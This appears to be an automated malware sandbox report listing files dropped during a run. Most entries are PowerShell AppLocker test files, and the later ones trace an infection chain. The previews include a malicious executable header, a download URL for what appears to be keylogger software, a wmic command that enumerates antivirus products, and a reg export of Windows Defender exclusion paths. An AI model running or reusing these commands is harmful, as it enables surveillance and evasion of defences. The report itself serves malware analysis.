Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qwfagspn.n43.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ry2nncu0.vhh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_savfznmk.r0u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_spvyfe2m.jqc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_szzqmk0b.2ee.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u50vidua.i4k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vfpm0fxm.ib1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w44pzcih.o1e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wq140kky.xr5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z5xg05ce.1u4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zbecxiiv.1dz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zlajlgw0.zvt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	33441448
Entropy (8bit):	7.998895110211762
Encrypted:	true
SSDEEP:	786432:sEKNHXUy8paSpU5Nqs6QWYTYAUgde09g6i53G+wSl:NE3ULMSkQs6vXBPzRG+wg
MD5:	0F335D8996D82DA30FE9286C671FA0CD
SHA1:	FF64FF5AB0FF7C848809D5A82B2F6248B38F8FA5
SHA-256:	10DED982BDF7EF7F33FD417C7D818D131B7C73CBF6E955BBE04FBA656B37FED7
SHA-512:	12BD786BB93856D09826AB5D612FB3213CF8F6EC0C0240C27A0CDC510D56F4F4089636736D1A168463A6AC824E7B2ACE2611E6A5E8E0138C490B534662B54600
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W.....................p............... ....@..................................3....@......@.......................................O...........%...!...........................................................................................text...D........................... ..`.itext..d........................... ..`.data........ ......................@....bss.....V...0...........................idata..............................@....tls.................&...................rdata...............&..............@..@.rsrc....O.......P...(..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13199
Entropy (8bit):	5.4168038637426354
Encrypted:	false
SSDEEP:	384:qYgfuxbOFtVB9ArKldNME3A03M8houNB5A+Ju6KS/r:DOFLB9ArKl3RRouNBW+x/r
MD5:	3A5BB581F03A3B2A0D6BAA8F2C7B9E56
SHA1:	D4AEB837DC7A5D35C1FFFC3F54D48325D428CCA7
SHA-256:	9F96CA97498703A1E671786CEF14C701AFA56532D98E3777613F1C003A452237
SHA-512:	7D9CB186C2447C2C07118849E05A123DFB565CBC8C9B87A318AA5B0B5C008F2A8658C9145575CE541F39C74B629C5C4AAE85B634787300F4E19A6AC89B9981A2
Malicious:	false
Reputation:	unknown
Preview:	rem 5n48goz7f3prqz743g5r80su9tmlt6cvu0qnt4xrl6xcbacr55ktep7xwf62..rem t3aou9olkvy0wk48j0qiam5tro1rbfc3ih..@echo off..rem 0jeqtzbrdqu8gvlka412h..rem hbt9lh89qbkdud9ygyxniu3mfo7haw21l6huth8ypjbx971wgng9lat6g1t1n4jxfl0t5tfz8exhv9tk0wtk8gwkm7bv24..rem cq15cz0x717gnajsmxungfzrxd04jc2mr0zrhvf7r7dbhuo5rlz383ep3pjd7mzw5v1h7n37kig0dz9ufn96b4xvvzvvmwma..rem 6awzqsxdk4ezo0m0bi9906a0..reg query "HKU\S-1-5-19\Environment" >nul 2>&1..rem k3cvx7v40mipoun47sf27iy5fppp803wv7xwwhyxv4pmqout..rem 1jgxwwi03hen946hywqldmrzyqed1a4s2hzmukuqwhi7z5zleg0qgo..rem jtx2090nxzo7kmwg6ekiqm7omxxn0jsdn99w6lynx7ubnd0ie2db2gli9zwo891vkg991hy5vvo7bbi..rem 794jnup22rxoq8tkmy7aszjn4satsttlbfiqgb07zpsbefe13w0a732ye2w0ne52wfmz25wmcajcl..if not %errorlevel% EQU 0 (..rem 2nbfeahrhhjsj54esx50rjfrmhdf10t7hj1n5p7g2curn..rem gfrclqfh71nijz5in8b3nx3ws9jzx..rem qwuz7j1dox6why95pvaezsdlahj70qi5k8i1ucg447abtxbx1irlvutbf9000u2u02g1ubs359w30os08g7bywlq0vfexsmhy0ygezhyq57wb5tk..rem os336ybo0myrli9v83whd020akzjltiwysmhpj9q6xxgbvmi6z8u8qgys

C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\l

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	63
Entropy (8bit):	4.431246742289477
Encrypted:	false
SSDEEP:	3:N8fhmPMdUKLR3QVL4A:280dVtgVL4A
MD5:	F8F417F775B9CC418AAA7AD2592324C1
SHA1:	5F2E034B5A2B39B99BA0447FF8F3898D8D1E455D
SHA-256:	4048A5F29484C100ED0F87BBE6D462939C050E7F011B9327AC66837F9F269AA6
SHA-512:	79E2BF550C0A463E62AEDECE5AA5ABB11DE38AADF82B8BE118BCE49F2D0542DE23D656F7C311F3839845261A1754839F507C83C0AB4003F5508DE9E6A9CA01A3
Malicious:	false
Reputation:	unknown
Preview:	https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe

C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\stld2.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.095795255000934
Encrypted:	false
SSDEEP:	3:nWDn:nWD
MD5:	285130BE63E78277DF11A9108B363925
SHA1:	92DD2F701821CACA090F8058BD054E840FFF88CC
SHA-256:	CFAEB467D2A24A24D97D2E8267E68E6D7C6C805D928DA760D6706AA20608FF5F
SHA-512:	30755D1EC6BEF8B943100F321489ABBE09306817099623DE7916EC2F1CB9CCD191EBD8939352DAC6207AEB95963A30690452037C808FC165DB12C54099377BAC
Malicious:	false
Reputation:	unknown
Preview:	sfkstart ..

C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\stld3.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.321928094887362
Encrypted:	false
SSDEEP:	3:n8xn:n8xn
MD5:	CDB1A48B259C774953CF6BBE7400307F
SHA1:	EA21684C2E98E04545F277AE0536ABB632C4327C
SHA-256:	AC4A42FD557E8EF69E1D3BED829ED3A4AD955C40F96BE52315D72C269ADE781A
SHA-512:	AA6132B49DC4A18909D975F92FA5D3D21B5B78FAA21913B17042F8AE71CE180280C6767159F3442CB0DFA62C6E42DB39C0F62AA54C2D5DB883BF4AC509F077F7
Malicious:	false
Reputation:	unknown
Preview:	sfkdone ..

C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1286144
Entropy (8bit):	6.249712908749164
Encrypted:	false
SSDEEP:	24576:EtdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt54DTx9Ke:8qTytRFk6ek14h5
MD5:	BFA3F09DEEE00832D000F497EC5B570A
SHA1:	9D4ED9BB876E66258392AA51C9B1C0F67D38A6AE
SHA-256:	F01CFA202969C9FE931CB95E47FF59700F9EB924014ED349E0A731B3B7327518
SHA-512:	A89043F52655EB0E189A5A1F5D72BF049A855D1795D0FA0E66EA949FC6F20A5336154D4A3FC2F3480E132751963C6AF2A68806623EF0651D8CC513BE7E1DCE70
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@..........................p............@......@..............................@8...0...2................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc....2...0...4...l..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\$ywr34c.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6841837197791887
Encrypted:	false
SSDEEP:	3:jBJiA74Sv:jBJiA7Vv
MD5:	1249DB06A084E7BD91B25B5E80D734B4
SHA1:	24913C0107782EDBD4860DB5BD44EFA70A7DFFB8
SHA-256:	F81AA38FEF90A467D739EBC0B56A77F9D58057EE86EC69315A4015D5D7D396FA
SHA-512:	0687A3615C1BA2D13314382C66F4B4E7217B52DE18A88EE27B45D28F776461C17FFEF7B5D85FF7DA3AB3AE14F3003D5802656FE6B3067D5057C9CDF4CAF46AC4
Malicious:	false
Reputation:	unknown
Preview:	Windows Defender. ..

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	30376
Entropy (8bit):	6.752744346977093
Encrypted:	false
SSDEEP:	768:84NHPfHCs6GNOpiM+RFjFyzcN23AEoSXMYisio:8anvc+R9F4s8BoaMYi2
MD5:	FD4743E2A51DD8E0D44F96EAE1853226
SHA1:	646CEF384E949AAF61E6D0B243D8D84AB04E79B7
SHA-256:	6535BA91FCCA7174C3974B19D9AB471F322C2BF49506EF03424517310080BE1B
SHA-512:	4587C853871624414E957F083713EC62D50C46B7041F83FAA45DBF99B99B8399FC08D586D240E4BCCEE5EB0D09E1CDCB3FD013F07878ADF4DEFCC312712E468D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P.......................................................................P.......P..(....................L...*...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\d.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.909150566837293
Encrypted:	false
SSDEEP:	3:QwZnVCYYYlCK3CbHFwK44NNMhNSjf4ugsrxjEaHiAuCWmqdHZlFABFWFTc5gIV:Qin3Nyb+rANyYDZRZummFZTc/V
MD5:	46D85CB370F0F6D82914A869341C3C25
SHA1:	956D44D64BC8331AE71F823A689EE4723F05BD54
SHA-256:	23FD2BFC7E842DB9ACBE1A6D17CD3F0A714845D8AD5DAC2F126E9337D5DB3062
SHA-512:	8BF8F3682CDE0F9D5C5802C06293F7BD071BA7D917D6F0D069BA34BD32E289E701F5E3021BC56227DD83EDC679A24FD6E4FF1F01F5F8411B5060AFF4B98E0F39
Malicious:	false
Reputation:	unknown
Preview:	for /f "tokens=2 skip=1 delims==" %%i in ('"wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"') do if not %%i == "" echo %%i >> $ywr34c.tmp

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	236
Entropy (8bit):	3.6440699182134826
Encrypted:	false
SSDEEP:	6:Qyk+SkWCiiCRroZ6IJlUAG+DZKHWn+SkUkDkqOEcRKw:Qy5hVZteAxDZaW+oVd3
MD5:	0A7F333C72BA23F66948D2F7ACAF391E
SHA1:	4E232F923162508127336631C7A734982795FC6F
SHA-256:	C0E694FE96F168B2E1C2C6710E2DA625849F72A5260AC6F8AFD7B399B82C7026
SHA-512:	E770D89B07783F9EDBD8F13D0D369CB3CF59BD666BDEA34276EB29FB8334A413A3F8159C9FD235CF9710937EE29838AA0665EC4CDC3B03204AE353B2EF1F2A91
Malicious:	false
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.P.a.t.h.s.].........

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	140
Entropy (8bit):	5.234021724082131
Encrypted:	false
SSDEEP:	3:qia6pdgLxqrZfyM1KJA7yuLWH25PCHyg4E2J5xAIzIorkHkA/H:DYLxiH18A7y/2CHhJ23fzIoSH
MD5:	4D5065B71DD7524771C5EC9F2E34A138
SHA1:	3A5E1279E427A96A8DF3F48FBB90C846CEE73AAE
SHA-256:	67408780322D4AB1C10B674E4B35B92DA37376F41019B82D0004D1DBFD63B04E
SHA-512:	362B43647EEE2DCF2887AC3C625DBB8DAF0808C49D51432D2E108EFF6C9AFE9D251C7A338E4CFEB8CE60DCEB3B449072C7727E71930FC238FE8DB1BBC92A10B6
Malicious:	false
Reputation:	unknown
Preview:	reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\iMsgInfo.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PC bitmap, Windows 3.x format, 48 x 48 x 24, resolution 2835 x 2835 px/m, cbSize 6966, bits offset 54
Category:	dropped
Size (bytes):	6966
Entropy (8bit):	5.257630429556265
Encrypted:	false
SSDEEP:	96:qJsQ8ADU7ROZX0dzdVry5xFdakbSYiq3G4wcwcOIqS:cCA5ZX4zdc5xFdakbSYiqWCjd
MD5:	B83D443D2415453D2BD5BA3D64233AF0
SHA1:	71D6B4D21842B2E2214CA09A82BD0301BD02796F
SHA-256:	99D10B82F2BD584C5B6554514B1A747EC4DD9D8131D3B397244B3D36084D3CA1
SHA-512:	C7D2A341F45CF5F858EF28341574E26D5F6C4D2F7FCB32F6A490E5F4F1DF6B6E1A7D1B82329162C46F2734EB446298741A3B82F6D961AC82C376FDF767FA0F22
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(...0...0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j..U..O.z>.z>..P..V..m................................................................................................................c.{4..B..P..b.e.v.v.f..b..Q..C.{5..d................................................................................................K..D..`.y.................

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\psout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.884815574267147
Encrypted:	false
SSDEEP:	24:nt0vG74xdl/ko+3bdhXUnt0oxdl/ko+3bdhXUn:nt2H+3EntTH+3En
MD5:	6F2313763C1AD9F789FF3A343AD82AA1
SHA1:	8FD79A4E381A7BC0ABBCCF8DE00BA25655CCB029
SHA-256:	39EBF0A3E52E0D2EF8627338D9605F77A2D46B5B324B1E3CAB19CB6DDB43B4AB
SHA-512:	CE53871C80BFC858678553EBA88AC3B79A565F4C3F401ECA9EEB2B37CF0F3FC3CB12ED300B0B31EBAB968E79A0D40785B6CF38F9D4D687677D8CA88E0A2049E2
Malicious:	false
Reputation:	unknown
